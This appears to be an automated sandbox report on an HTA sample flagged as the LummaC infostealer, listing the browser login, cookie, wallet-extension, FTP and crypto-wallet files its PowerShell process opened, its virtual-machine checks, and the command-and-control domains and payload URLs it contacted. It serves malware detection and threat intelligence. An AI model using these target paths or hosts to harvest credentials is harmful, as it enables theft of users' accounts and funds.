Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik Jump to behavior
Tries to harvest and steal ftp login credentials
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\FTPInfo Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\FTPbox Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\FTPRush Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\FTPGetter Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\ProgramData\SiteDesigner\3D-FTP Jump to behavior
Tries to steal Crypto Currency Wallets
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Binance Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB Jump to behavior
Searches for user specific document files
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Directory queried: C:\Users\user\Documents\EWZCVGNOWT Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Directory queried: C:\Users\user\Documents\EWZCVGNOWT Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Directory queried: C:\Users\user\Documents\LSBIHQFDVT Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Directory queried: C:\Users\user\Documents\LSBIHQFDVT Jump to behavior

Remote Access Functionality
barindex
Yara detected LummaC Stealer
Source: Yara match File source: Process Memory Space: powershell.exe PID: 6096, type: MEMORYSTR
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1592081 Sample: new-riii-1-b.pub.hta Startdate: 15/01/2025 Architecture: WINDOWS Score: 100 26 idealizetreez.shop 2->26 28 e1.foiloverturnarrival.shop 2->28 30 2 other IPs or domains 2->30 38 Suricata IDS alerts for network traffic 2->38 40 Found malware configuration 2->40 42 Malicious sample detected (through community Yara rule) 2->42 44 14 other signatures 2->44 9 mshta.exe 1 2->9         started        signatures3 process4 signatures5 54 Encrypted powershell cmdline option found 9->54 12 powershell.exe 17 9->12         started        process6 signatures7 56 Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines) 12->56 58 Suspicious powershell command line found 12->58 60 Creates HTML files with .exe extension (expired dropper behavior) 12->60 62 3 other signatures 12->62 15 powershell.exe 15 16 12->15         started        18 conhost.exe 12->18         started        process8 dnsIp9 36 f1.foiloverturnarrival.shop 172.67.194.161, 443, 49715, 57600 CLOUDFLARENETUS United States 15->36 20 powershell.exe 1 15->20         started        24 conhost.exe 15->24         started        process10 dnsIp11 32 idealizetreez.shop 104.21.64.1, 443, 57621, 57628 CLOUDFLARENETUS United States 20->32 34 klipgibob.shop 172.67.212.45, 443, 57702 CLOUDFLARENETUS United States 20->34 46 Query firmware table information (likely to detect VMs) 20->46 48 Found many strings related to Crypto-Wallets (likely being stolen) 20->48 50 Tries to harvest and steal ftp login credentials 20->50 52 2 other signatures 20->52 signatures12
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
172.67.212.45
 klipgibob.shop United States
13335 CLOUDFLARENETUS false
104.21.64.1
 idealizetreez.shop United States
13335 CLOUDFLARENETUS true
172.67.194.161
 e1.foiloverturnarrival.shop United States
13335 CLOUDFLARENETUS true

Contacted Domains

Name IP Active
e1.foiloverturnarrival.shop 172.67.194.161 true
f1.foiloverturnarrival.shop 172.67.194.161 true
idealizetreez.shop 104.21.64.1 true
klipgibob.shop 172.67.212.45 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
jarry-deatile.bond true
  • Avira URL Cloud: safe
 unknown
https://e1.foiloverturnarrival.shop/5c85i3vbf.vdf true
  • Avira URL Cloud: safe
 unknown
immolatechallen.bond true
  • Avira URL Cloud: safe
 unknown
https://klipgibob.shop/int_clp_8888.txt false
  • Avira URL Cloud: safe
 unknown
idealizetreez.shop true
  • Avira URL Cloud: safe
 unknown
https://f1.foiloverturnarrival.shop/riiw1.mp3 false
  • Avira URL Cloud: safe
 unknown
pain-temper.bond true
  • Avira URL Cloud: safe
 unknown
growthselec.bond true
  • Avira URL Cloud: safe
 unknown
https://idealizetreez.shop/api true
  • Avira URL Cloud: safe
 unknown
stripedre-lot.bond true
  • Avira URL Cloud: safe
 unknown
jarry-fixxer.bond true
  • Avira URL Cloud: safe
 unknown
crookedfoshe.bond true
  • Avira URL Cloud: safe
 unknown
strivehelpeu.bond true
  • Avira URL Cloud: safe
 unknown